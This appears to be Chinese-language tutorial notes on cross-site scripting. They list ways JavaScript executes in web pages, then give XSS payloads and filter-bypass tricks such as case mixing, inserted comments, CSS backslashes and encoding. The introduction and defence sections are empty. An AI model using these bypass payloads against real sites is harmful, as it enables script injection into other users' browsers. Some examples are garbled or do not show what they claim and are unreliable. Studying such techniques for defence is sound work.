一、Js在web的执行环境
1.直接触发
<script language=“javascript”>
document.write(“hello world!”);
</script>
<script language=“javascript” src=“test.js”>
</script>
2.利用HTML标签属性触发
•利用HTML标签中能够访问文件的属性来执行JS代码。JS中包含一个URL伪协议,可以使用javascript:加上任意JS代码来表示一个URL,浏览器装载此URL时,JS被执行。
< img src=“javascript:alert(‘XSS’)” />
< img dynsrc=“javascript:alert(‘XSS’)” />
<img src=“#” οnerrοr=“alert(‘XSS’)” />
<img onClick =“alert(‘XSS’)” />
1)以.css文件的形式:
<link href=“test.css” rel=“stylesheet” type=“text/css”/>
2)以<style></style>标签的方式:
< style type="text/javascript">alert('XSS');</ style >
3)在标签中以style属性的方式。
<a style ="background-image: url(javascript:alert('XSS'))"> </a>
<style>
h1{color:#CCC;height:expression(alert(‘xss’));}
</style>
二、Xss的介绍
三、XSS挖掘技巧
<img src=“javascript:alert(‘XSS’)” />
写为<img src=“JavasCripT:alert(‘XSS’)” />可绕过过滤规则
如: <img src=“javascript:alert(‘XSS’)” />,混淆后代码为:
<img src=“javascript:alert(‘XSS’)” />
3. 绕过HTML标签内的关键字过滤,在插入代码的属性前加入混淆属性,如: <img src=“abc>” οnclick=“alert(‘XSS’)” />
4. 插入注释符如: <img style=“xss:expr/*xss*/ession(alert(111))”>
5.对CSS:\会被浏览器忽略: : <img style=“background-image:url(ja\vas\\\\cript:alert(111))”>
6.编码绕过,如: <img src=“javascript:alert('XSS'l;”>等价于<img src=“javascript:alert(‘xss’;)”.>
http://ha.ckers.org/xss.html
四、防XSS